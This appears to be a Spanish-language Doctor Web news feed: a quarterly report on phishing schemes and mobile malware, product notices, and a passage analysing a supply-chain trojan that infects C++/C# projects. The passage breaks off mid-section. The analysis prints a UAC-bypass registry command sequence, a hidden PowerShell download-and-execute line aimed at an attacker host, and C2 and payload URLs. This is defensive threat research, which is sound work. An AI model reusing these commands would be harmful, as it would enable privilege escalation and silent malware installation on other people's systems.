En uno de los escenarios, se ofrecían a las víctimas potenciales monedas Robux gratis como regalo «con motivo del desbloqueo» de Roblox. Se trata de la moneda digital utilizada dentro del juego. Dependiendo del sitio, los estafadores prometían entre 1.000 y 30.000 monedas:

Para «obtenerlas», los usuarios debían pulsar el botón correspondiente (por ejemplo, «Recoger» u «Obtener»), indicar su número de teléfono para la «confirmación» y, a continuación, introducir el código de verificación recibido por SMS o directamente en la aplicación de mensajería MAX:

En otras variantes, se ofrecían a los visitantes distintos scripts y trucos para Roblox, objetos raros del juego, así como juegos de tipo clicker (del inglés tap, «tocar»): sencillos juegos de clics y aplicaciones en los que, mediante pulsaciones en la pantalla, se acumulan recursos virtuales (puntos, bonificaciones o monedas) que posteriormente supuestamente pueden transferirse a uno u otro juego. Para «acceder» a ellos, las víctimas potenciales debían, de forma similar, pulsar el botón correspondiente («Descargar», «Confirmar», etc.) y facilitar su número de teléfono para la «confirmación»::

Los ciberdelincuentes también explotaron la imagen de otro juego popular entre el público joven: Brawl Stars. Al igual que en el caso de Roblox, en los sitios web fraudulentos se ofrecían a las víctimas potenciales objetos y bonificaciones gratuitos para el juego. Supuestamente, los usuarios de MAX podían obtenerlos escaneando un código QR especial:

Para «obtener» el código QR correspondiente, debían «pasar una verificación a través de MAX», para lo cual tenían que indicar su número de teléfono móvil y el código recibido por SMS o en la aplicación de mensajería:

Además, en algunos de estos sitios de phishing, los ciberdelincuentes prometían distintos regalos supuestamente en nombre tanto del propio juego como de sus desarrolladores, por ejemplo, cajas de recompensas gratuitas:

Los estafadores prometen regalos de Brawl Stars y SUPERCELL, como cajas gratuitas con objetos del juego (por ejemplo, cajas del personaje Bolt). Se pide a los usuarios que pulsen el botón de confirmación e indiquen su número de teléfono móvil y el código de verificación

Además de ofrecer distintos bonos y regalos para juegos populares, los ciberdelincuentes intentaron atraer a las víctimas potenciales con otras ofertas. Entre ellas figuraban supuestos servicios de promoción en redes sociales, por ejemplo, en Likee. Los estafadores prometían «aumentar» el número de seguidores, «me gusta» y comentarios, pero para ello los usuarios supuestamente debían iniciar sesión a través de la aplicación de mensajería MAX:

Un sitio de phishing promete promoción en la red Likee, pero para ello supuestamente es necesario iniciar sesión a través de la aplicación de mensajería MAX

Algunos de estos sitios ofrecían a los visitantes instalar mods especializados (versiones modificadas) de MAX que, según se afirmaba, permitían fijar canciones en el perfil de la aplicación de mensajería. Para «obtener» uno de estos mods, los usuarios debían iniciar sesión con su número de teléfono móvil y acceder a su cuenta personal. Cabe señalar que actualmente la versión oficial de MAX no permite añadir música al perfil, aunque esta función sí está disponible en otros servicios de la competencia. Los estafadores confían en que las víctimas potenciales, atraídas por esta funcionalidad, bajen la guardia y caigan en el engaño.

Un sitio web fraudulento ofrece la «posibilidad de añadir canciones al perfil de MAX»

En otro escenario, se ofrecía a los usuarios acceso al registro escolar electrónico para consultar las calificaciones escolares:

Otros sitios supuestamente permitían utilizar la versión web de la aplicación de mensajería MAX y ofrecían iniciar sesión con el número de teléfono para «acceder al perfil»:

Algunos de estos recursos web fraudulentos prometían ayudar a averiguar con qué nombre tenía guardada a la víctima potencial en su lista de contactos el resto de usuarios. Para ello, se pedía a los visitantes que «confirmaran su identidad» iniciando sesión en MAX:

Algunos sitios prometían acceso gratuito a contenidos privados de blogueros y creadores de contenido para adultos, incluida la posibilidad de consultar archivos multimedia «filtrados» y obtener una suscripción de prueba a servicios especializados. Los estafadores justificaban la necesidad de iniciar sesión a través de la aplicación de mensajería MAX e introducir el código de confirmación, entre otras razones, por la necesidad de «protegerse frente a bots y bloqueo»:

Al mismo tiempo, en el marco de esta campaña, no solo los usuarios de MAX se convirtieron en objetivo de los ciberdelincuentes, sino también los de otras aplicaciones de mensajería como Telegram. Así, por ejemplo, algunos de los sitios detectados imitaban un chat con la cuenta oficial de la aplicación de mensajería y, supuestamente en nombre de la plataforma, ofrecían a las víctimas potenciales un regalo: una suscripción a Telegram Premium:

Para «obtenerla», los usuarios debían iniciar sesión en su cuenta indicando su número de teléfono móvil y el código de verificación de un solo uso recibido en él:

En un escenario similar, los ciberdelincuentes prometían a las víctimas potenciales la posibilidad de obtener gratis regalos virtuales del ecosistema de Telegram de distintas colecciones, como Toy Bear (oso de peluche), Snoop Dogg y otras. Para ello, los estafadores pedían a los usuarios que «pasaran una verificación» (por ejemplo, para comprobar que no eran robots y que cada visitante supuestamente recibiera el regalo una sola vez), indicando su número de teléfono móvil y el código de confirmación. Es posible que estas variantes de sitios fraudulentos, al igual que en el caso de los relacionados con juegos, estuvieran dirigidas principalmente a niños y adolescentes:

Los ciberdelincuentes también intentaron atraer a las víctimas potenciales con la posibilidad de obtener estrellas de Telegram (la moneda digital interna de la aplicación de mensajería) por «suscribirse» a determinados canales. En este caso, se volvía a pedir a los usuarios que iniciaran sesión en su cuenta de Telegram y facilitaran el código de verificación:

En el tercer trimestre de 2026, los expertos de Doctor Web observaron una evolución de las técnicas fraudulentas destinadas a robar datos personales y cuentas de distintos servicios. Uno de los escenarios habituales en el arsenal de los estafadores sigue siendo informar a los usuarios de una supuesta vulneración de sus cuentas. Por lo general, los ciberdelincuentes comunican directamente a las víctimas potenciales que se ha producido una «filtración» de datos y que deben tomar medidas urgentes para proteger la información confidencial (por ejemplo, acceder al enlace indicado, llamar al «servicio de soporte», etc.). Sin embargo, en varios casos detectados por nuestros analistas de Internet, en los sitios de phishing se asustaba deliberadamente a los usuarios con un supuesto ataque que se iba revelando de forma gradual. Paso a paso, se hace que el usuario se ponga cada vez más nervioso hasta que finalmente baje la guardia y realice las acciones que necesitan los ciberdelincuentes. Entre los sitios que empleaban este tipo de engaño se encontraban, por ejemplo, nuevas imitaciones de los portales web de proveedores de suministros.

Un sitio de phishing, camuflado como el recurso web oficial de una compañía eléctrica rusa, ofrece iniciar sesión en una cuenta

Después de que la víctima potencial, creyendo que se encuentra en el sitio web auténtico, introduce sus datos de acceso a la cuenta, el recurso fraudulento simula el proceso de inicio de sesión a través del portal ruso de servicios públicos «Gosuslugi» y la «sincronización» con las bases de datos de distintos organismos públicos:

El sitio simula el inicio de sesión a través de «Gosuslugi» y la sincronización con «bases de datos de organismos públicos»

A continuación, sin embargo, el sitio informa de que la cuenta de «Gosuslugi» del usuario ha sido hackeada. Para dar mayor credibilidad al engaño, muestra información sobre un dispositivo desde el que supuestamente se inició sesión en «Gosuslugi» e indica una ubicación geográfica lejana desde la que «se produjo» la conexión no autorizada. El sitio también advierte de que, si estas acciones no fueron realizadas por el propio usuario, su cuenta será bloqueada. Para «cancelar la sincronización» del dispositivo ajeno y evitar la filtración de información personal, se «exige a la víctima potencial que se ponga inmediatamente en contacto con un operador»:

Para «cancelar» la vinculación de un dispositivo ajeno a la cuenta de «Gosuslugi» y supuestamente proteger los datos personales, incluida la información del pasaporte, el SNILS (número individual de la cuenta de la Seguridad Social rusa) y el NIF, se pide al usuario que se ponga en contacto con un «operador»

Una vez que el usuario pulsa el botón para «solicitar una llamada», el sitio intenta ganar tiempo mostrando una cuenta atrás de uno o varios minutos y un mensaje que indica que la solicitud se está procesando:

El sitio informa de que la solicitud se está procesando y de que el «operador de guardia» se pondrá en contacto con el usuario dentro del plazo indicado

Cuando finaliza la cuenta atrás, no ocurre nada que pueda ayudar a aclarar la situación. En su lugar, en la página web fraudulenta aparecen botones para volver a realizar la «solicitud» y para ponerse directamente en contacto con el «operador de guardia»:

El sitio ofrece volver a solicitar la llamada de un experto o llamar directamente al «operador de guardia»

Al pulsar el primer botón, vuelve a aparecer el temporizador de «espera de la solicitud» y el proceso se repite. Al pulsar el segundo, se muestran números de teléfono de una «línea de soporte exclusiva» que, en realidad, pertenecen a los estafadores. El objetivo de este esquema es que, tras verse obligada a esperar, la víctima potencial se ponga aún más nerviosa y sea más propensa a llamar a uno de los números indicados por temor a una posible filtración de sus datos personales y a perder el acceso a «Gosuslugi». Además, los ciberdelincuentes matan dos pájaros de un tiro, ya que también roban directamente los datos necesarios para acceder al área personal del usuario en el sitio web del proveedor de suministros.

Para acelerar la solución del «problema», se facilitan a la víctima potencial los números de teléfono de una «línea de soporte exclusiva»

Durante los últimos tres meses, los analistas de Internet de Doctor Web continuaron detectando nuevos sitios web fraudulentos que prometían distintos pagos y prestaciones. Algunos de ellos eran presentados por los ciberdelincuentes como el sitio web oficial de la plataforma estatal rusa «Trabajo en Rusia» (trudvsem.ru), donde se publican ofertas de empleo y currículos y que facilita la búsqueda de empleo. Los recursos web falsos informaban de que los ciudadanos que se habían registrado anteriormente en el portal oficial supuestamente podían recibir un pago adicional del Centro de Empleo. En algunos casos, el importe prometido podía alcanzar varias decenas de miles de rublos.

Para «recibir» el dinero, se ofrecía a los usuarios solicitar una tarjeta bancaria específica del sistema de pago «MIR», en la que supuestamente se abonaría posteriormente la «prestación». Después, también debían activarla realizando alguna compra. Para solicitar la tarjeta, los sitios fraudulentos proporcionaban un formulario en el que debían introducir sus datos personales: nombre, apellido y patronímico, número de teléfono y dirección de correo electrónico:

Un sitio falso de la plataforma «Trabajo en Rusia» promete un «pago adicional del Centro de Empleo» a condición de solicitar una nueva tarjeta bancaria

Una vez rellenado el formulario y pulsado el botón «Solicitar tarjeta MIR», los visitantes eran redirigidos al sitio web legítimo de uno de los bancos, donde efectivamente podían solicitar la emisión de una nueva tarjeta. Sin embargo, estas solicitudes no tenían en realidad ninguna relación con la prestación prometida por los estafadores. Mediante engaños, los ciberdelincuentes inducían a las víctimas potenciales a solicitar tarjetas bancarias para recibir, en el marco de programas de afiliación con entidades de crédito, una remuneración por cada cliente captado con éxito. Al final, los usuarios no recibían ningún pago del Centro de Empleo. Además, los ciberdelincuentes podían utilizar posteriormente los datos personales recopilados a través de los sitios falsos de la plataforma «Trabajo en Rusia» en otros esquemas fraudulentos o venderlos en el mercado negro.

Los datos confidenciales de acceso a cuentas de banca online, incluidos nombres de usuario, contraseñas y datos de tarjetas, siguen siendo un objetivo codiciado por los ciberdelincuentes. En el tercer trimestre, nuestros expertos detectaron nuevos sitios de phishing creados para robar esta información. Algunos de ellos imitaban el portal web de una entidad de crédito rusa y prometían regalos en el marco de una «gran promoción con motivo del aniversario» de la entidad. Supuestamente, los usuarios podían recibir un bono garantizado, desde 5.000 rublos hasta duplicar todos los fondos de su cuenta:

Un sitio bancario falso promete regalos con motivo del aniversario de la entidad de crédito

Se invitaba a la víctima potencial a responder a una breve encuesta. Después de contestar a las preguntas, supuestamente podía acceder a un «premio garantizado»:

El sitio de phishing agradece al usuario sus respuestas e informa de que su cuenta está «lista para participar en la promoción». Para «conocer el premio garantizado», se invita a la víctima potencial a pulsar el botón «Recibir recompensa» (en la captura de pantalla se puede observar que los estafadores cometieron una errata)

Una vez pulsado por el usuario el botón para «recibir» la recompensa, el sitio mostraba un formulario para introducir el nombre y los apellidos, el número de teléfono móvil y el número de la tarjeta bancaria:

El sitio informa de que el usuario supuestamente ha recibido como regalo la duplicación de los fondos de su cuenta y que, para «recibir» el dinero, debe introducir determinados datos personales

Una vez introducidos los datos, el sitio solicitaba un código de verificación recibido por SMS, supuestamente necesario «para abonar los fondos en la cuenta». En realidad, se trataba del código de confirmación de acceso a la banca online de la víctima, a la que los estafadores intentaban acceder utilizando los datos obtenidos en el paso anterior. Si la víctima introducía este código, los ciberdelincuentes obtenían acceso a sus cuentas bancarias y tarjetas y podían robarle el dinero.

Se pide al usuario que introduzca el código de verificación recibido por SMS «para abonar los fondos en la cuenta»

Las plataformas falsas de comunicación y citas online, mediante las cuales los ciberdelincuentes intentan hacerse con los datos personales y el dinero de los usuarios, siguen siendo una amenaza vigente. Durante el tercer trimestre, los analistas de Internet de Doctor Web detectaron numerosos sitios de este tipo. En uno de los esquemas más habituales, los estafadores engañan a las víctimas potenciales para que paguen una suscripción premium que supuestamente activa la cuenta y permite acceder a todas las funciones del servicio, incluida la posibilidad de enviar mensajes. Además, el pago exigido no es único: para «acceder» a los chats es obligatorio aceptar la renovación automática del servicio. Al conseguir que los usuarios acepten un pago periódico, los ciberdelincuentes confían en que las víctimas olviden que tienen activada la suscripción o que, por una razón u otra, no puedan cancelarla.

En el marco de este esquema fraudulento, las víctimas potenciales pueden llegar, a través de una cadena de redirecciones web (por ejemplo, al visitar otros recursos de Internet), a sitios intermediarios que anuncian determinados servicios de citas online. Se invita a los visitantes a responder a una encuesta para determinar su «compatibilidad» con posibles parejas y, a continuación, se les muestra un formulario de registro. En él se solicitan un nombre de usuario, una contraseña y una dirección de correo electrónico. Después, se les redirige directamente al sitio de la «plataforma» de citas online.

Un sitio perteneciente a la cadena fraudulenta «comprueba» la compatibilidad de la víctima potencial con otros usuarios

Casi de inmediato, los usuarios comienzan a recibir mensajes de participantes «interesados» que, en realidad, están programados y no proceden de personas reales. Sin embargo, no es posible responder a estos mensajes: para «continuar la conversación», el sitio ofrece activar la cuenta pagando el acceso premium y aceptando la renovación automática de la suscripción cada 30 días:

Al pagar la «suscripción premium», estos sitios web pueden mostrar un formulario no seguro para introducir los datos de la tarjeta bancaria: su número, fecha de caducidad e incluso el código de seguridad de tres dígitos. El formulario no está vinculado a pasarelas de pago seguras, por lo que los usuarios corren el riesgo no solo de suscribirse a un servicio costoso, sino también de perder todo el dinero de la tarjeta al facilitar sus datos a una parte desconocida.

Los datos de la tarjeta bancaria se solicitan a través de un formulario de entrada no seguro

Si los usuarios intentan cancelar la suscripción o recuperar el dinero abonado anteriormente, los sitios vuelven a solicitar los datos de la tarjeta bancaria (por ejemplo, piden indicar su fecha de caducidad y parte del número). Esto también se realiza fuera del entorno de pasarelas de pago seguras, lo que genera riesgos adicionales de filtración de datos confidenciales y robo de fondos.

Al solicitar la cancelación de la suscripción de pago, el sitio pide indicar los primeros 6 dígitos y los últimos 4 dígitos del número de la tarjeta bancaria, así como su fecha de caducidad

Conozca más sobre los sitios web no recomendados por el antivirus Dr.Web

Malware y software no deseado para dispositivos móviles

Según las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles, en el tercer trimestre de 2026 el malware más activo fueron los troyanos Android.Proxy, mediante los cuales se redirige el tráfico de red de los ciberdelincuentes a través de los dispositivos de las víctimas. Los usuarios afrontaron con mayor frecuencia las modificaciones Android.Proxy.60.origin y Android.Proxy.61.origin que en conjunto representaron casi una cuarta parte de las detecciones de malware. En comparación con el segundo trimestre, aumentó el número de ataques de troyanos bancarios Android.Banker. Al mismo tiempo, continuó la tendencia a la baja de la actividad de los troyanos publicitarios Android.MobiDash y Android.HiddenAds.

Los falsos antivirus Program.FakeAntiVirus, que ofrecen comprar la versión completa para eliminar amenazas supuestamente detectadas, volvieron a ser el software no deseado más extendido. Entre el adware, las aplicaciones más frecuentes fueron las que incorporaban los módulos Adware.AdPush y Adware.Airpush, que muestran notificaciones publicitarias, así como los programas Adware.Opensite.15. Estos últimos se distribuyen bajo la apariencia de software con trucos para juegos, pero su única función consiste en cargar sitios web con anuncios.

Las aplicaciones a las que se añade código basura mediante la herramienta de hacking para modding NP Manager (detectadas como Tool.Obfuscator.TrashCode) siguieron siendo el software potencialmente peligroso más frecuente. Los creadores de virus continúan utilizando este tipo de modificación para proteger el malware, en particular los troyanos bancarios, frente a la detección por parte de los antivirus. También siguen estando muy extendidos otros mods creados con NP Manager y detectados por Dr.Web como Tool.NPMod. Por ejemplo, pueden utilizar técnicas de ofuscación de código, también para protegerse frente a la detección y el análisis. Entre el software potencialmente peligroso detectado con mayor frecuencia en el tercer trimestre también se encontraban programas modificados mediante la utilidad Tool.LuckyPatcher. Esta herramienta descarga de Internet scripts que pueden ser potencialmente maliciosos.

Durante los últimos tres meses, los analistas de virus de Doctor Web detectaron en el catálogo de Google Play más de 50 aplicaciones maliciosas. Entre ellas había decenas de troyanos Android.Joker, que suscriben a las víctimas a servicios de pago. Nuestros expertos descubrieron que algunas nuevas versiones del malware de esta familia incorporan una nueva funcionalidad que les permite utilizar los dispositivos infectados como nodos de salida de una botnet proxy para redirigir el tráfico de Internet de los atacantes. En Google Play también se distribuyeron nuevos troyanos Android.FakeApp, utilizados por los ciberdelincuentes en distintos esquemas fraudulentos.

Los eventos más destacados relacionados a la seguridad “móvil” en el tercer trimestre

Se observó una elevada actividad de los troyanos Android.Proxy, que permiten redirigir el tráfico de red de los ciberdelincuentes a través de los dispositivos infectados.
Aumentó el número de ataques de los troyanos bancarios Android.Banker.
Continuó disminuyendo la actividad de los troyanos publicitarios Android.MobiDash y Android.HiddenAds.
Los creadores de virus añadieron al malware Android.Joker una funcionalidad que permite convertir los dispositivos infectados en nodos de salida de una botnet proxy.
A través del catálogo de Google Play volvió a propagarse malware.

Para más información sobre los eventos de virus para dispositivos móviles en el tercer trimestre del año 2026, consulte nuestro informe.

¡Vuelta al cole con Dr.Web! Le ofrecemos un 15% de descuento y un mes extra de protección para sus equipos de hogar

Wed, 16 Sep 2026 15:04:46 GMT

Ante el comienzo del nuevo curso escolar, Dr.Web lanza la promoción especial «Vuelta al cole», diseñada para proteger el entorno digital de sus hijos.

Del 16 de septiembre al 23 de septiembre, disfrute de precios especiales para la seguridad de sus equipos personales. Al comprar una nueva licencia anual de Dr.Web Security Space, Vd. se lleva un 15% de descuento garantizado y un mes adicional de protección de regalo. Solo tiene que elegir el número de dispositivos que desea proteger:

2 PCs,
3 PCs,
4 PCs.

Disfrutar del descuento +1 mes

Dr.Web Security Space protegerá los ordenadores y portátiles de sus hijos de todo tipo de amenazas en Internet, evitará que sus hijos se distraigan con páginas de ocio durante las horas de estudio y les advertirá sobre enlaces peligrosos o intentos de estafar.

Hágase cargo de la seguridad de su hijo hoy mismo: asegure un curso escolar tranquilo y productivo junto con Dr.Web.

Requisitos completos de la promoción

Actualización del servidor de control centralizado para Dr.Web Enterprise Security Suite y Dr.Web Industrial

Thu, 23 Jul 2026 17:15:37 GMT

La empresa Doctor Web lanza una actualización para el servidor incluido en Dr.Web Enterprise Security Suite y Dr.Web Industrial, versión 13.0.1.202606110. La nueva versión estará disponible para su descarga el 27 de julio de 2026 a través de la interfaz web de la consola de control.

Novedades de la actualización

Esta actualización tiene como objetivo principal mejorar la estabilidad del Centro de control y corregir varios errores detectados en la versión anterior. En concreto, se han solucionado problemas con la visualización de elementos secundarios al filtrar en el árbol de red del antivirus y se han corregido errores en el envío de notificaciones a los administradores y la generación de informes. La lista completa de cambios está disponible en Changelog.

Impacto en los agentes (incluido Dr.Web Industrial)

La actualización del servidor no afecta al funcionamiento de los agentes en los nodos protegidos. La actualización del componente del servidor no requiere reiniciar ni reconfigurar el software del agente; estos seguirán funcionando con normalidad. Para entornos industriales que utilizan Dr.Web Industrial, esto significa que no habrá cambios en el funcionamiento del agente, ya que todas las correcciones se aplican exclusivamente al servidor y a la interfaz de control.

Importante: El Servidor Dr.Web se reiniciará automáticamente durante la instalación de la actualización. Recomendamos programar el procedimiento con antelación para las horas de menor actividad.

Les recordamos que las actualizaciones oportunas son fundamentales para mantener el nivel de protección requerido y el funcionamiento óptimo del software.

Actualización del componente antispam en Dr.Web Enterprise Security Suite y en Dr.Web por suscripción

Wed, 15 Jul 2026 17:04:45 GMT

La empresa Doctor Web lanza la actualización del módulo antispam 1.1.2.202604160 para Dr.Web Enterprise Security Suite y Dr.Web por suscripción. Estará disponible para su descarga a partir del 20 de julio de 2026.

Este módulo escanea el tráfico de correo electrónico en tiempo real y analiza sus componentes: encabezados, cuerpo, hipervínculos y archivos adjuntos. El componente es eficaz y no afecta el rendimiento del cliente de correo electrónico.
La nueva versión incluye mejoras en la detección de spam y el análisis de enlaces, así como cambios internos. Anteriormente se lanzó una actualización importante que aumentó la eficacia de la detección y el filtrado de tráfico no deseado.

Atención a los usuarios de Windows XP: si tienen habilitada la opción de actualizar solo las bases de datos antivirus, el complemento de Dr.Web para Microsoft Outlook no funcionará correctamente: todos los correos electrónicos entrantes se detectarán como spam. Para comprobarlo, seleccionen «Actualizar» en la configuración del programa, luego hagan clic en «Configuración avanzada» y accedan a la sección «Componentes actualizados».
Recomendamos a los usuarios de este sistema operativo que actualicen a una versión posterior o que habiliten las actualizaciones para todos los módulos del programa en la configuración, no solo para las bases de datos de virus.

Actualizado el Acuerdo de Licencia del software Dr.Web

Wed, 15 Jul 2026 14:43:47 GMT

La empresa Doctor Web ha actualizado el Acuerdo de Licencia del software Dr.Web. Puede consultar la nueva versión del documento en el siguiente enlac https://license.drweb.com/agreement/.

Principales cambios:

el texto se ha estructurado por secciones temáticas para facilitar la navegación;
se han incorporado definiciones de los términos con el fin de facilitar la comprensión del documento y evitar interpretaciones erróneas;
se ha precisado la diferencia entre el uso autorizado y el uso sin licencia del software Dr.Web;
se han añadido aclaraciones sobre las preguntas más frecuentes de los usuarios, como en qué dispositivos puede utilizarse la licencia adquirida, si es obligatorio que el dispositivo protegido sea de su propiedad y otras cuestiones similares.

Al seguir utilizando el software Dr.Web tras la entrada en vigor de la nueva versión del Acuerdo de Licencia, usted confirma que acepta íntegramente las nuevas condiciones. Si no está de acuerdo con los cambios, deberá eliminar el software Dr.Web de sus dispositivos.

Le recordamos que este documento es aplicable a todo el software de la familia Dr.Web, con excepción de Dr.Web FixIt! y Dr.Web vxCube, que cuentan con sus propios Acuerdos de Licencia.

Objetivo: desarrolladores. Un nuevo troyano ataca la cadena de suministro y provoca daños combinados en los equipos infectados

Fri, 10 Jul 2026 03:00:00 GMT

Los expertos del laboratorio antivirus han analizado un nuevo programa troyano. Se trata de una amenaza del tipo supply chain attack (ataque a la cadena de suministro). Su principal característica es que se dirige a proyectos desarrollados en los lenguajes de programación C++ y C#. Otra de sus particularidades es su carácter especialmente peligroso. El troyano combina varios mecanismos de ataque y desempeña simultáneamente diversas funciones: stealer, clipper, backdoor, miner y fuente de infección de archivos.

Los primeros casos de propagación del troyano se detectaron durante el último trimestre de 2025 y, desde entonces, sus desarrolladores lo han modificado de forma continua. Se propaga principalmente por Internet mediante archivos .exe y Python infectados. El proceso de infección consta de varias etapas. A continuación, analizamos cada una de ellas y su finalidad.

Etapa 1. Trojan.DownLoader49.35384

Los expertos de Doctor Web detectaron múltiples aplicaciones legítimas infectadas con una estructura similar. Al archivo ejecutable original se le añade un objeto global y la ejecución de la aplicación troyanizada comienza obteniendo acceso a las API del sistema mediante el método PEB walking. A continuación, la función estándar initterm recorre la tabla de punteros a funciones e inicializa cada una de ellas. Una de esas funciones es maliciosa y ejecuta un comando de PowerShell. En algunas versiones del troyano, esta carga útil se almacena cifrada.

Ejecución mediante initterm

El comando de PowerShell descarga y ejecuta el archivo malicioso Trojan.DownLoader49.35687, lo que da comienzo a la segunda etapa de la infección.

Comando malicioso de PowerShell

Además de los archivos ejecutables, se detectaron archivos escritos en Python (Python.Downloader.255). En ellos, el mismo código malicioso estaba cifrado mediante el mecanismo de cifrado simétrico Fernet. El código se oculta mediante una sencilla técnica de ofuscación consistente en insertar una gran cantidad de espacios en la primera línea del archivo. En este caso, la ejecución también se desarrolla en varias etapas.

Archivos maliciosos en Python

Etapa 2. Trojan.DownLoader49.35687

En esta etapa, el troyano Trojan.DownLoader49.35687 comprueba si se está ejecutando en un entorno sandbox. Además, crea un objeto de sincronización mutex con el nombre Global\PFNMX (valor fijo). Un ejemplo de este tipo de objeto es: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. De este modo, el troyano verifica si ya existe otra copia en ejecución en el equipo.

Durante esta segunda etapa, el troyano intenta obtener las direcciones del servidor C2 a través de repositorios públicos de GitHub y de la plataforma de videojuegos Steam. En ellos, los atacantes publican los dominios que el troyano lee y utiliza como URL para descargar la tercera etapa de la infección: el troyano BackDoor.Siggen2.5906.

Las cuentas de Steam creadas por los atacantes contienen el nombre del dominio en texto plano.

Cuenta de Steam con el dominio

En GitHub, los atacantes almacenaron la dirección cifrada del dominio C2 en un archivo raw: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. El troyano descarga este archivo y lo descifra primero mediante Base64 y, posteriormente, aplicando una operación XOR con la clave ZwFlushKey.

Dominios cifrados

Tras descargar la siguiente etapa, Trojan.DownLoader49.35687 la inyecta en el proceso de uno de los 41 archivos ejecutables predefinidos ubicados en C:\Windows\System32.

La dirección del dominio C2 con la que se ha logrado establecer conexión se añade a las cadenas integradas de forma fija en el código del troyano y se transmite a la siguiente etapa a través del canal con nombre pipe\VccFramework.

Etapa 3. BackDoor.Siggen2.5906

En esta etapa se lleva a cabo la actividad maliciosa principal. BackDoor.Siggen2.5906 crea un objeto de sincronización mutex con un nombre fijo del tipo Global\PFNX_Side(valor fijo). A continuación, a través del canal creado previamente, el troyano recibe los datos de la segunda etapa, de los que extrae los identificadores del troyano y el dominio C2 con el que se comunicará BackDoor.Siggen2.5906.

Para consolidarse en el sistema, el troyano descarga el archivo «bungee.boo» que realiza las funciones de la etapa 2 — Trojan.DownLoader49.35687, y suplanta con el mismo los archivos DLL:

«profapi.dll» de la aplicación Discord,
«domain_actions.dll» en la carpeta «Domain Actions» y «well_known_domains.dll» en la carpeta «Well Known Domains» de la aplicación Microsoft Edge,
«C:\Windows\omadmapi.dll».

Además, BackDoor.Siggen2.5906 puede modificar el Registro de Windows para que, al abrir archivos comprimidos con WinRAR, se ejecute código malicioso.

Para ejecutar acciones con privilegios de administrador, el troyano utiliza una técnica para esquivar el UAC (Control de cuentas de usuario). El malware genera un archivo .vbs con un nombre formado por una secuencia aleatoria de cifras, en el que inserta un comando que se ejecutará con privilegios de administrador. A continuación, ejecuta los siguientes comandos mediante cmd.exe:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

A continuación, el troyano pone en funcionamiento cinco funciones maliciosas: un stealer, un clipper, un backdoor, un miner y un módulo de infección de archivos.

Stealer

El troyano puede robar información de varios tipos:

tockens Discord que permiten iniciar sesión en cuentas ajenas sin introducir un nombre de usuario/contraseña;
contraseñas y cookies de navegadores Chrome, Edge, Opera, Brave, Yandex etc. Además de las técnicas ordinarias de extracción de datos, puede usar el archivo CCCWF.tmp (Trojan.PWS.Siggen5.33623). El mismo se incrusta en el navegador y luego lee las contraseñas y las guarda en archivos de texto;
carpetas de Telegram Desktop;
carpetas del criptomonedero Exodus.

Además de robar las carpetas de Exodus, el troyano modifica el monedero de criptomonedas. Para ello, localiza el archivo app.asar y lo suplanta por una copia descargada desde la URL balista[.]lol/Stb/PokerFace/RTApp[.]txt mediante curl. En la versión suplantada el archivo index.js (Trojan.Siggen32.44702) contiene la función unlock() que, al ejecutarse, envía las frases mnemotécnicas del monedero al servidor de los atacantes.

Archivo suplantado index.js

Clipper

Se trata de una de las funciones más peligrosas del troyano. El malware supervisa de forma continua el portapapeles del usuario: busca datos de tarjetas bancarias y los envía al servidor de los atacantes. Además, sustituye las direcciones de los monederos de criptomonedas por otras fraudulentas, que obtiene del servidor C2.

Backdoor

La funcionalidad del troyano permite a los atacantes controlar de forma remota el equipo infectado mediante la ejecución de los siguientes comandos:

exc	descargar un archivo de url mediante curl y ejecutarlo
RVRS	iniciar Reverse Proxy
RUNCMD	Ejecutar un comando mediante cmd
GETFILE	Cargar el contenido de un archivo determinado al servidor de control
LISTDIR	Enviar una lista de archivos desde un directorio específico del equipo al servidor de control
TROLL	ejecutar un comando destinado a trolear al usuario. Entre las opciones disponibles se incluyen earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer etc.

Miner

Mediante curl el troyano descarga desde el servidor y ejecuta el archivo https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953. Su estructura y funcionamiento son similares a los de la segunda etapa, con la diferencia de que, en lugar de descargar e inyectar BackDoor.Siggen2.5906 descarga e inyecta Trojan.BtcMine.3956. Este miner solo se ejecuta tras un determinado periodo de inactividad del usuario. El malware utiliza las herramientas de código fuente abierto XMRig, T-Rex y TeamRedMiner.

Infección de archivos

La principal característica de este troyano es la infección de archivos y su posterior propagación autónoma. Lista de archivos infectados:

imgui_impl_win32.cpp,
.suo,
.exe,
winnetwk.h (Windows SDK),
.vcxproj y .csproj.

Para identificar las rutas de los archivos que pueden infectarse, el troyano recorre las unidades de disco y ejecuta el siguiente comando. A continuación, se muestra un ejemplo para la unidad A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Los atacantes confían en que los desarrolladores publiquen sus proyectos con código malicioso en repositorios públicos. De este modo, otros desarrolladores que compilen, generen o modifiquen esos proyectos infectarán automáticamente sus equipos a través de los archivos .suo, .vcxproj y .csproj, mientras que los usuarios finales podrán ejecutar archivos ejecutables infectados generados con herramientas de desarrollo comprometidas.

Archivo imgui_impl_win32.cpp. Trojan.Loader.3129

El archivo imgui_impl_win32.cpp — forma parte de la biblioteca conocida Dear ImGui y se encarga de la interfaz gráfica de usuario para aplicaciones desarrolladas en C++. El troyano inserta dos líneas de código en este archivo: la primera contiene la carga útil y la segunda la ejecuta.

Una línea de código con carga útil

Una idea de código que ejecuta la carga útil

Resultado — un comando


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

De este modo, la biblioteca queda infectada y cualquier aplicación en C++ creada por el usuario contendrá código malicioso. Al propagar o subir este tipo de aplicaciones, la infección continuará propagándose.

Archivos .suo. Trojan.Loader.3138

